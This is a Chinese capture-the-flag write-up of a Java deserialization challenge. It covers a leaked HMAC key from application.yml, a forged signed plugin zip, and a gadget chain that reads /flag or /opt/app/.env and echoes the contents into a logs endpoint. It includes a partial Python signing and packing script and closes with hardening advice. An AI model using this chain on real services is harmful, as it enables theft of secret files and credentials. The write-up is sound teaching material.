ISCC 决赛 Agent 插件管理系统：Java 反序列化任意文件读取

一、题目背景

题目是一个 Agent 插件管理系统，提供插件上传和日志查看功能。附件为 Spring Boot 应用，解包后可以进行源码和配置分析。

整体利用链：

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解包 jar -> 获取 HMAC 密钥 -> 构造合法插件包 -> metadata.ser 触发反序列化 -> 读取目标文件 -> 从日志接口取回内容

二、信息收集

解包 agent-core.jar 后重点关注：

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BOOT-INF/classes/application.yml
com.agent.update.controller.UploadController
com.agent.update.service.PluginService
com.agent.update.deserialization.*

配置文件中泄露了上传目录和 HMAC 密钥：

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app:
  upload-dir: /app/uploads/
  hmac-key: k3y_5A62_X86

接口：

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POST /api/upload
GET  /api/logs?team_id=xxx

上传接口参数：

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file
team_id

三、插件校验逻辑

插件包需要是：

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zip
jar
plugin

解压后至少包含：

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manifest.json
metadata.ser

服务端流程：

  1. 上传插件压缩包。
  2. 解压到 /app/uploads/{team_id}/extracted。
  3. 读取 manifest.json。
  4. 使用 manifest.json 中的 hmacSignature 校验 metadata.ser。
  5. 校验通过后反序列化 metadata.ser。

由于 HMAC 密钥已经从配置文件泄露，因此可以伪造合法签名，让服务端接受我们构造的 metadata.ser。

四、反序列化调用链

反编译关键类后，可以得到调用链：

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ResourceRefresher.readObject()
  -> ResourceRefresher.refresh()
  -> DataStream.process(targetPath)
  -> FileExporter.export(targetPath)
  -> Files.readAllBytes(targetPath)
  -> LogService.log(teamId, "FILE_EXPORT", 文件内容)

关键点：

  • ResourceRefresher 是反序列化入口对象。
  • targetPath 控制读取路径。
  • FileExporter 内部有 teamId 字段。
  • 文件内容会写入对应 teamId 的日志。

因此只要构造对象关系：

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ResourceRefresher
  targetPath = /opt/app/.env 或 /flag
  dataStream.exporter.teamId = 自己的 team_id

上传后访问：

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/api/logs?team_id=自己的 team_id

即可取回文件内容。

五、插件包结构

构造后的插件包结构：

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exploit_generated.zip
├── manifest.json
└── metadata.ser

manifest.json 中需要包含对 metadata.ser 的合法 HMAC 签名。

伪造签名的思路：

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hmacSignature = HMAC_SHA256(hmac-key, metadata.ser bytes)

由于密钥已知，签名校验无法阻止攻击。

六、利用流程

完整流程：

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1. 编译 ExploitBuilder.java
2. 构造 ResourceRefresher 对象
3. 序列化生成 metadata.ser
4. 使用泄露密钥生成 HMAC
5. 写入 manifest.json
6. 打包 zip
7. 上传 /api/upload
8. 请求 /api/logs?team_id=xxx
9. 从日志中提取 flag

自动化脚本需要完成两件事：

  • 本地构造合法插件包。
  • 上传插件并轮询日志接口。

七、简化脚本逻辑

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import hmac
import hashlib
import json
import zipfile
from pathlib import Path

HMAC_KEY = b"k3y_5A62_X86"


def sign_metadata(metadata_path):
    data = Path(metadata_path).read_bytes()
    return hmac.new(HMAC_KEY, data, hashlib.sha256).hexdigest()


def build_manifest(metadata_path):
    return {
        "name": "agent-helper",
        "version": "1.0.0",
        "hmacSignature": sign_metadata(metadata_path)
    }


def pack_plugin(metadata_path, output_zip):
    manifest = build_manifest(metadata_path)
    manifest_path = Path("manifest.json")
    manifest_path.write_text(json.dumps(manifest), encoding="utf-8")

    with zipfile.ZipFile(output_zip, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.write(manifest_path, "manifest.json")
        zf.write(metadata_path, "metadata.ser")

真实解题脚本还需要调用 Java 构造 metadata.ser，并通过 HTTP 上传插件。

八、漏洞总结

本题是典型的“可信校验被密钥泄露绕过 + Java 反序列化”的组合题。

环节 问题
配置文件 HMAC 密钥泄露
插件校验 签名只保证来源可信，但密钥已暴露
反序列化 对上传包中的 metadata.ser 执行反序列化
业务逻辑 可控路径被用于 Files.readAllBytes()
回显方式 文件内容写入日志接口

九、防护建议

  • 密钥不应硬编码在应用包中。
  • 插件校验密钥应使用环境变量或密钥管理系统。
  • 不要反序列化用户上传内容。
  • 如果必须反序列化，使用白名单类和安全序列化格式。
  • 文件读取路径必须做白名单限制。
  • 日志中不要写入敏感文件内容。
  • 上传插件应在沙箱环境中解析和执行。

十、复盘

这题的关键在于把多个小点串起来：配置泄露本身可能只是信息泄露，但它让插件签名机制失效；反序列化本身也不一定直接命令执行，但结合业务类中的文件读取和日志回显，就形成了完整任意文件读取链。

分析这类 Java 题时，建议先从配置、Controller、Service、反序列化类、日志输出五个方向入手，很容易把攻击路径串出来。